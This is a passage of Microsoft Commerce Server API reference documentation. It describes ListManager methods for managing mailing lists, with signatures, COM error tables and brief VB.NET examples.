0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The source list must be a Mailable list (contains an rcp_email column). Any duplicate e-mail addresses are removed in the result list.

[Visual Basic .NET]

Example

' oListID & pvarOpId are Objects
oListID = oListManager.ExtractMailingList("{454799A2-312B-4F5F-90A0-" & _
 "F514FBA0EC5A}", "TequilaBuyers1", "Tequilla buyers in January", 0, _
 1, pvarOpID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListFlags Method (PIA)

Use this method to retrieve the flags attribute for a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListFlags(
 listID As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int GetListFlags(
 object listID
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
[C#]
listID
An object that contains the ID or name of the list.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that contains the flags attribute.

[C#] This method returns an int used to return the flags attribute.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The following table lists the possible flag parameter values used to determine the type of list created. Values may be ORed together to specify more than one flag.

Type | Value | Description
DEFAULT | 0x0 | A Mailing list
HIDDEN | 0x1 | The list should not be exposed in the user interface.
DYNAMIC | 0x2 | A dynamic list
USER | 0x4 | A User list (contains an rcp_guid column)
GENERIC | 0x8 | A Generic list
MAILABLE | 0x10 | A Mailable list (contains an rcp_email column)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListId Method (PIA)

Use this method to retrieve the ID of a list based on the list name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListId(
  listName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object GetListId(
  string listName
);

Parameters

[Visual Basic .NET]
listName
A String that contains the list name.
[C#]
listName
A string that contains the list name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the ID (a GUID) of the list.

[C#] This method returns an object used to return the ID (a GUID) of the list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListName Method (PIA)

Use this method to retrieve the name of a list given the list ID.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListName(
  listID As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public string GetListName(
  object listID
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the list ID.
[C#]
listID
An object that contains the list ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the name of the list.

[C#] This method returns a string used to return the name of the list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListProperty Method (PIA)

Use this method to retrieve a property of a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListProperty(
  listID As Object,
  listPropertyName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object GetListProperty(
  object listID,
  string listPropertyName
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
listPropertyName
A String that contains the property name (column of the lm_master table).
[C#]
listID
An object that contains the ID or name of the list.
listPropertyName
A string that contains the property name (column of the lm_master table).

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the value of the property.

[C#] This method returns a reference to an object used to return the value of the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

For information about the available list properties, see ListManager.GetLists.

[Visual Basic .NET]

Example

' oSource is an Object
oSource = _
 oListManager.GetListProperty("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "list_source")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetLists Method (PIA)

Use this method to enumerate all lists known to the ListManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetLists() As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For Recordset
…
public object GetLists();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the details of the lists known to this instance of the ListManager object.

[C#] This method returns an object (typically an ADODB26Lib.Recordset) used to return the details of the lists known to this instance of the ListManager object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

This method returns an instance of a read-only Recordset object that contains a record for each list in the ListManager object database. The Recordset object does not contain any lists that are not completely created at the time this method is invoked.

If there are not any lists completely created at the time this method is invoked, the method returns successfully, but the Recordset object is empty.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
list_id | uniqueidentifier | Identification number of the list.
list_name | NVARCHAR [64] | Name of the list.
list_created | datetime | Date/time the list record was created.
list_creation_type | smallint | Method used to create the list. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - CreateFromDWCalc 4 - CreateFromSegment 5 - Other (subtraction, union, extraction, etc.)
list_description | NVARCHAR [256] | List description.
list_err_limit | long | The error threshold for the list.
list_flags | int | Bit flags for the list. Can bitwise OR together to specify more than one flag. Legal values are: 0x0 - DEFAULT 0x1 - HIDDEN 0x2 - DYNAMIC 0x4 - USER 0x8 - GENERIC 0x10 - MAILABLE
list_location | NVARCHAR [256] | Location (table name) where the list data is stored.
list_query | NVARCHAR [1024] | Query used to create the list.
list_recent_operid | NVARCHAR [128] | ID of the most recent list operation. May be null if the list is a new list created by the CreateEmpty method.
list_size | int | Number of rows in the list (-1 for dynamic lists).
list_source | NVARCHAR [512] | Name of the file, connection string, or file name used to create the list.
list_status | int | Status of the list. Legal values are: 1 - ready for processing 2 - being processed; other operations are not permitted 3 - failed
list_unique_emails | int | Number of unique rcp_email values in the list (-1 for dynamic lists).
list_unique_guids | int | Number of unique rcp_guid values in the list (-1 for dynamic lists).
list_userflags | int | Application specific. Not used by the ListManager object.
[C#]

This method returns an instance of a read-only ADODB26Lib.Recordset object that contains a record for each list in the ListManager object database. The Recordset object does not contain any lists that are not completely created at the time this method is invoked.

If there are not any lists completely created at the time this method is invoked, the method returns successfully, but the Recordset object is empty.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
list_id | uniqueidentifier | Identification number of the list.
list_name | NVARCHAR [64] | Name of the list.
list_created | Datetime | Date/time the list record was created.
list_creation_type | Smallint | Method used to create the list. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - CreateFromDWCalc 4 - CreateFromSegment 5 - Other (subtraction, union, extraction, etc.)
list_description | NVARCHAR [256] | List description.
list_err_limit | Long | The error threshold for the list.
list_flags | Int | Bit flags for the list. Can bitwise OR together to specify more than one flag. Legal values are: 0x0 - DEFAULT 0x1 - HIDDEN 0x2 - DYNAMIC 0x4 - USER 0x8 - GENERIC 0x10 - MAILABLE
list_location | NVARCHAR [256] | Location (table name) where the list data is stored.
list_query | NVARCHAR [1024] | Query used to create the list.
list_recent_operid | NVARCHAR [128] | ID of the most recent list operation. May be Null if the list is a new list created by the CreateEmpty method.
list_size | Int | Number of rows in the list (-1 for dynamic lists).
list_source | NVARCHAR [512] | Name of the file, connection string, or filename used to create the list.
list_status | Int | Status of the list. Legal values are: 1 - ready for processing 2 - being processed; other operations are not permitted 3 - failed
list_unique_emails | Int | Number of unique rcp_email values in the list (-1 for dynamic lists).
list_unique_guids | Int | Number of unique rcp_guid values in the list (-1 for dynamic lists).
list_userflags | Int | Application specific. Not used by the ListManager object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListUserFlags Method (PIA)

Use this method to retrieve the UserFlags attribute for a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListUserFlags(
 listID As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int GetListUserFlags(
 object listID
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
[C#]
listID
An object that contains the ID or name of the list.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that contains the UserFlags attribute.

[C#] This method returns an int used to return the UserFlags attribute.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The UserFlags attributes are for use by applications external to List Manager. List Manager stores the flags that were passed in at the time a list was created, but does not interpret the value of the UserFlags attributes.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetOperationInfo Method (PIA)

Use this method to retrieve a Recordset object containing columns describing the specified list operation.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetOperationInfo(
  varOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For Recordset
…
public object GetOperationInfo(
  object varOpID
);

Parameters

[Visual Basic .NET]
varOpID
An Object that contains the Operation ID.
[C#]
varOpID
An object that contains the Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object containing the operation information.

[C#] This method returns an object (typically an ADODB26Lib.Recordset) used to return the operation information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about the returned Recordset object, see ListManager.GetOperations.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetOperations Method (PIA)

Use this method to enumerate all operations known to the ListManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetOperations() As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For Recordset
…
public object GetOperations();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains information about the operations known to this instance of the ListManager object.

[C#] This method returns an object (typically an ADODB26Lib.Recordset) used to return information about the operations known to this instance of the ListManager object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

This method returns an instance of a read-only Recordset object that contains a record for each operation in the ListManager object database. There is a record for every operation that has ever been run on lists currently in the database. When a list is deleted, all operations associated with that list are also deleted.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
op_id | NVARCHAR[128] | A "token" that identifies the operation and can be passed to the CancelOperation method to terminate the operation.
op_desc | NVCHAR[256] | A user-friendly operation description.
op_error_code | int | HRESULT of last failure associated with the list.
op_error_desc | NVARCHAR[1024] | Description of the last failure associated with the list.
op_list_destination | NVARCHAR(256) | List destination (Export type operations only).
op_list_id | uniqueidentifier | The list ID on which this operation is taking place.
op_list_id_a | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_id_b | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_param1 | int | Additional column that stores any extra parameters involved in the operation.
op_list_param2 | int | Additional column that stores any extra parameters involved in the operation.
op_list_table | NVARCHAR(256) | Table name (ExportToSql type operations only).
op_progress | int | Unused.
op_status | smallint | Status of the operation. Legal values are: 0 - complete 1 - executing -1 - failed
op_time_end | datetime | Date/time the operation completed or was aborted.
op_time_start | datetime | Date/time the operation started.
op_type | int | The type of operation. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - ExportToFile 4 - ExportToSQL 5 - Copy 6 - Subtract 7 - Union 8 - CreateFromDWCalc. 9 - CreateFromSegment 10 - ExtractMailingList 11 - Other (unclassified or temporary)
[C#]

This method returns an instance of a read-only ADODB26Lib.Recordset object that contains a record for each operation in the ListManager object database. There is a record for every operation that has ever been run on lists currently in the database. When a list is deleted, all operations associated with that list are also deleted.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
op_id | NVARCHAR[128] | A "token" that identifies the operation and can be passed to the CancelOperation method to terminate the operation.
op_desc | NVCHAR[256] | A user-friendly operation description.
op_error_code | Int | HRESULT of last failure associated with the list.
op_error_desc | NVARCHAR[1024] | Description of the last failure associated with the list.
op_list_destination | NVARCHAR(256) | List destination (Export type operations only).
op_list_id | uniqueidentifier | The list ID on which this operation is taking place.
op_list_id_a | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_id_b | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_param1 | Int | Additional column that stores any extra parameters involved in the operation.
op_list_param2 | Int | Additional column that stores any extra parameters involved in the operation.
op_list_table | NVARCHAR(256) | Table name (ExportToSql type operations only).
op_progress | Int | Unused.
op_status | Smallint | Status of the operation. Legal values are: 0 - complete 1 - executing -1 - failed
op_time_end | Datetime | Date/time the operation completed or was aborted.
op_time_start | Datetime | Date/time the operation started.
op_type | Int | The type of operation. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - ExportToFile 4 - ExportToSQL 5 - Copy 6 - Subtract 7 - Union 8 - CreateFromDWCalc. 9 - CreateFromSegment 10 - ExtractMailingList 11 - Other (unclassified or temporary)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class

ListManager.CancelOperation


ListManager.Initialize Method (PIA)

Use this method to initialize the ListManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Initialize(
 bstrConnStr As String,
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Initialize(
 string bstrConnStr,
);

Parameters

[Visual Basic .NET]
bstrConnStr
A String that contains the connection string for the database to which List Manager will connect.
[C#]
bstrConnStr
A string that contains the connection string for the database to which the List Manager will connect.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400002 | The ListManager object has already been initialized and may not be re-initialized.
&H8C400001 | Failed to establish database connection.
 | Error while executing SQL/ADO operation.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400002 | The ListManager object has already been initialized and may not be re-initialized.
0x8C400001 | Failed to establish database connection.
0x8C400003 | Error while executing SQL/ADO operation.

Remarks

Initialize the ListManager object before calling any other ListManager object method or property.

Initializing connects the ListManager object to a database. If the database does not contain the tables and procedures required by the ListManager object, they are created.

A ListManager object can be connected to only one database. To connect to a different database, create a new instance of a ListManager object.

[Visual Basic .NET]

Example

oListManager.Initialize ("Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class

ListManager.ExportToSQL


ListManager.RemoveUserFromMailingList Method (PIA)

Use this method to remove a user from a mailing list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub RemoveUserFromMailingList(
  listID As Object,
  UserEmail As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void RemoveUserFromMailingList(
  object listID,
  string UserEmail
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
UserEmail
A String that contains the e-mail address of the user.
[C#]
listID
An object that contains the ID or name of the list.
UserEmail
A string that contains the e-mail address of the user.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C400019 | The operation requires a static list and the specified list is dynamic.
&H8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C400019 | The operation requires a static list and the specified list is dynamic.
0x8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.
[Visual Basic .NET]

Example

oListManager.RemoveUserFromMailingList _
 ("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", JaneUser@somewhere.com)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Rename Method (PIA)

Use this method to rename a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Rename(
 listID As Object,
 newListName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Rename(
 object listID,
 string newListName
);

Parameters

[Visual Basic .NET]
listID
An Object that specifies the ID or name of the list to be renamed.
newListName
A String that contains the new name for the list.
[C#]
listID
An object that specifies the ID or name of the list to be renamed.
newListName
A string that contains the new name for the list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400007 | The specified list has already been created
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400007 | The specified list has already been created
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The new name must not be the same as any existing list name.

[Visual Basic .NET]

Example

oListManager.Rename ("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", "Tequila")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.SetDesc Method (PIA)

Use this method to provide a new description for a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub SetDesc(
 listID As Object,
 newListDesc As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void SetDesc(
 object listID,
 string newListDesc
);

Parameters

[Visual Basic .NET]
listID
An Object that specifies the ID or name of the list.
newListDesc
A String that contains the description to be associated with the list.
[C#]
listID
An object that specifies the ID or name of the list.
newListDesc
A string that contains the description to be associated with the list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.
[Visual Basic .NET]

Example

oListManager.SetDesc(listID, newListDesc)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.SetListProperty Method (PIA)

Use this method to set a property of a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub SetListProperty(
  listID As Object,
  listPropertyName As String,
  ListProp As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void SetListProperty(
  object listID,
  string listPropertyName,
  object ListProp
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
listPropertyName
A String that contains the property name (column of the lm_master table).
ListProp
An Object that contains the value to set the property.
[C#]
listID
An object that contains the ID or name of the list.
listPropertyName
A string that contains the property name (column of the lm_master table).
ListProp
An object that contains the value to set the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400012 | The operation requires a dynamic list and the specified list is not a dynamic list.
&H8C400006 | The specified list does not exist.
&H8C400013 | The specified list property cannot be changed after the list has been created.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400012 | The operation requires a dynamic list and the specified list is not a dynamic list.
0x8C400006 | The specified list does not exist.
0x8C400013 | The specified list property cannot be changed after the list has been created.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.
[Visual Basic .NET]

Example

oListManager.SetListProperty "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "list_userflags", 12)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Subtract Method (PIA)

Use this method to subtract one mailing list from another mailing list, and to place the result in a third list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Subtract(
 srcList As Object,
 lessList As Object,
 resList As Object,
 errLimit As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Subtract(
 object srcList,
 object lessList,
 object resList,
 int errLimit,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
srcList
An Object that contains the ID or name of the list from which elements will be subtracted.
lessList
An Object that contains the ID or name of the less list.
resList
An Object that contains the ID or name of the list into which the results of the subtraction operation will be placed.
errLimit
An Integer that is not used.
bAsync
An Integer that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
An optional Object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C#]
srcList
An object that contains the ID or name of the list from which elements will be subtracted.
lessList
An object that contains the ID or name of the less list.
resList
An object that contains the ID or name of the list into which the results of the subtraction operation will be placed.
errLimit
An int that is not used.
bAsync
An int that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
A reference to an object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The result list must exist prior to calling the method; however, any data in the list will be overwritten.

This method keys on the rcp_email column, and therefore both the source (srcList parameter) and less (lessList parameter) lists must be Mailable lists (LISTFLAG_MAILABLE set to True). Records from the source list that do not have duplicate e-mail addresses (rcp_email) in the less list are copied to the result (resList parameter) list. Any existing data in the result list is deleted.

The parameter pvarOpID contains valid data only if the subtraction operation is performed asynchronously.

[Visual Basic .NET]

Example

oListManager.Subtract ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "{7131B794-5448-078B-B544-799A2311B79A}", 10, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Union Method (PIA)

Use this method to produce a union of two mailing lists, and to place the result in a third mailing list. A union is a combination of the two lists with any duplicates eliminated.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Union(
 srcList As Object,
 addList As Object,
 resList As Object,
 errLimit As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Union(
 object srcList,
 object addList,
 object resList,
 int errLimit,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
srcList
An Object that contains the ID or name of the source list.
addList
An Object that contains the ID or name of the add list.
resList
An Object that contains the ID or name of the list into which the results of the union operation will be placed.
errLimit
An Integer that is not used.
bAsync
An Integer that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
An optional Object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C#]
srcList
An object that contains the ID or name of the source list.
addList
An object that contains the ID or name of the add list.
resList
An object that contains the ID or name of the list into which the results of the union operation will be placed.
errLimit
An int that is not used.
bAsync
An int that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
A reference to an object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
